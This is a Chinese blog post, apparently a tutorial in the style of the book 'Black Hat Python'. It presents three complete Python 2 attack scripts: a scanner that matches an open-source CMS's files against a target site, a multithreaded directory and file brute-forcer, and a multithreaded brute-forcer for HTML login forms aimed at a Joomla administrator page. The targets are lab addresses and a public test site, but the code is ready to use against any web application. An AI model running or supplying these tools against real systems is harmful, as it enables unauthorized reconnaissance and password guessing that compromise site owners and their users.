zoukankan      html  css  js  c++  java
  • Python黑帽子:Web目录暴力破解

    开源Web应用目录扫描器

    这里的前提是Web服务器使用的是开源CMS来建站的,而且自己也下载了一套相应的开源代码,感觉意义并不大

    #!/usr/bin/python
    #coding=utf-8
    import Queue
    import threading
    import os
    import urllib2
    
    threads = 10
    
    target = "http://10.10.10.144/dunling"
    directory = "/dunling"
    filters = [".jpg",".gif",".png",".css"]
    
    os.chdir(directory)
    
    web_paths = Queue.Queue()
    
    for r,d,f in os.walk("."):
        for files in f:
            remote_path = "%s/%s"%(r,files)
            if remote_path.startswith("."):
                remote_path = remote_path[1:]
            if os.path.splitext(files)[1] not in filters:
                web_paths.put(remote_path)
    
    def test_remote():
        while not web_paths.empty():
            path = web_paths.get()
            url = "%s%s"%(target,path)
    
            request = urllib2.Request(url)
    
            try:
                response = urllib2.urlopen(request)
                content = response.read()
    
                print "[%d] => %s"%(response.code,path)
                response.close()
            except urllib2.HTTPError as error:
                # print "Failed %s"%error.code
                pass
    
    for i in range(threads):
        print "Spawning thread : %d"%i
        t = threading.Thread(target=test_remote)
        t.start()

    暴力破解目录和文件位置

    #!/usr/bin/python
    #coding=utf-8
    
    import urllib2
    import threading
    import Queue
    import urllib
    
    threads = 50
    target_url = "http://testphp.vulnweb.com"
    wordlist_file = "/tmp/all.txt" # from SVNDigger
    resume = None
    user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
    
    def build_wordlist(wordlist_file):
        #读入字典文件
        fd = open(wordlist_file,"rb")
        raw_words = fd.readlines()
        fd.close()
    
        found_resume = False
        words = Queue.Queue()
    
        for word in raw_words:
            word = word.rstrip()
    
            if resume is not None:
                if found_resume:
                    words.put(word)
                else:
                    if word == resume:
                        found_resume = True
                        print "Resuming wordlist from: %s"%resume
            else:
                words.put(word)
    
        return words
    
    def dir_bruter(word_queue,extensions=None):
        while not word_queue.empty():
            attempt = word_queue.get()
    
            attempt_list = []
    
            #检测是否有文件扩展名,若没有则就是要暴力破解的路径
            if "." not in attempt:
                attempt_list.append("/%s/"%attempt)
            else:
                attempt_list.append("/%s"%attempt)
    
            #如果我们想暴破扩展
            if extensions:
                for extension in extensions:
                    attempt_list.append("/%s%s"%(attempt,extension))
    
            #迭代我们要尝试的文件列表
            for brute in attempt_list:
                url = "%s%s"%(target_url,urllib.quote(brute))
    
                try:
                    headers = {}
                    headers["User-Agent"] = user_agent
                    r = urllib2.Request(url,headers=headers)
    
                    response = urllib2.urlopen(r)
    
                    if len(response.read()):
                        print "[%d] => %s"%(response.code,url)
                except urllib2.URLError, e:
                    if hasattr(e,'code') and e.code != 404:
                        print "!!! %d => %s"%(e.code,url)
                    pass
    
    word_queue = build_wordlist(wordlist_file)
    extensions = [".php",".bak",".orig",".inc"]
    
    for i in range(threads):
        t = threading.Thread(target=dir_bruter,args=(word_queue,extensions,))
        t.start()

    暴力破解HTML表格认证

    1、检索登录页面,接受所有返回的cookies值;

    2、从HTML中获取所有表单元素;

    3、在你的字典中设置需要猜测的用户名和密码;

    4、发送HTTP POST数据包到登录处理脚本,数据包含所有的HTML表单文件和存储的cookies值;

    5、测试是否能登录成功。

    #!/usr/bin/python
    #coding=utf-8
    
    import urllib2
    import urllib
    import cookielib
    import threading
    import sys
    import Queue
    
    from HTMLParser import HTMLParser
    
    #简要设置
    user_thread = 10
    username = "admin"
    wordlist_file = "/tmp/passwd.txt"
    resume = None
    
    #特定目标设置
    target_url = "http://10.10.10.144/Joomla/administrator/index.php"
    target_post = "http://10.10.10.144/Joomla/administrator/index.php"
    
    username_field = "username"
    password_field = "passwd"
    
    success_check = "Administration - Control Panel"
    
    class Bruter(object):
        """docstring for Bruter"""
        def __init__(self, username, words):
            self.username = username
            self.password_q = words
            self.found = False
    
            print "Finished setting up for: %s"%username
    
        def run_bruteforce(self):
            for i in range(user_thread):
                t = threading.Thread(target=self.web_bruter)
                t.start()
    
        def web_bruter(self):
            while not self.password_q.empty() and not self.found:
                brute = self.password_q.get().rstrip()
                jar = cookielib.FileCookieJar("cookies")
                opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
    
                response = opener.open(target_url)
    
                page = response.read()
    
                print "Trying: %s : %s (%d left)"%(self.username,brute,self.password_q.qsize())
    
                #解析隐藏区域
                parser = BruteParser()
                parser.feed(page)
    
                post_tags = parser.tag_results
    
                #添加我们的用户名和密码区域
                post_tags[username_field] = self.username
                post_tags[password_field] = brute
    
                login_data = urllib.urlencode(post_tags)
                login_response = opener.open(target_post,login_data)
    
                login_result = login_response.read()
    
                if success_check in login_result:
                    self.found = True
    
                    print "[*] Bruteforce successful. "
                    print "[*] Username: %s"%self.username
                    print "[*] Password: %s"%brute
                    print "[*] Waiting for other threads to exit ... "
    
    class BruteParser(HTMLParser):
        """docstring for BruteParser"""
        def __init__(self):
            HTMLParser.__init__(self)
            self.tag_results = {}
    
        def handle_starttag(self,tag,attrs):
            if tag == "input":
                tag_name = None
                tag_value = None
                for name,value in attrs:
                    if name == "name":
                        tag_name = value
                    if name == "value":
                        tag_value = value
                    if tag_name is not None:
                        self.tag_results[tag_name] = value
    
    def build_wordlist(wordlist_file):
        
        fd = open(wordlist_file,"rb")
        raw_words = fd.readlines()
        fd.close()
    
        found_resume = False
        words = Queue.Queue()
    
        for word in raw_words:
            word = word.rstrip()
    
            if resume is not None:
                if found_resume:
                    words.put(word)
                else:
                    if word == resume:
                        found_resume = True
                        print "Resuming wordlist from: %s"%resume
            else:
                words.put(word)
    
        return words
    
    words = build_wordlist(wordlist_file)
    
    brute_obj = Bruter(username,words)
    brute_obj.run_bruteforce()
  • 相关阅读:
    2019 Multi-University Training Contest 4
    AC自动机
    trie
    Contest1802
    蓝桥杯-某电视台举办了低碳生活大奖赛
    蓝桥杯-有一群海盗(不多于20人),在船上比拼酒量
    蓝桥杯-福尔摩斯到某古堡探险
    蓝桥杯-标题:字符串比较
    蓝桥杯-题目:猜算式
    蓝桥杯-标题:算年龄
  • 原文地址:https://www.cnblogs.com/LyShark/p/9102019.html
Copyright © 2011-2022 走看看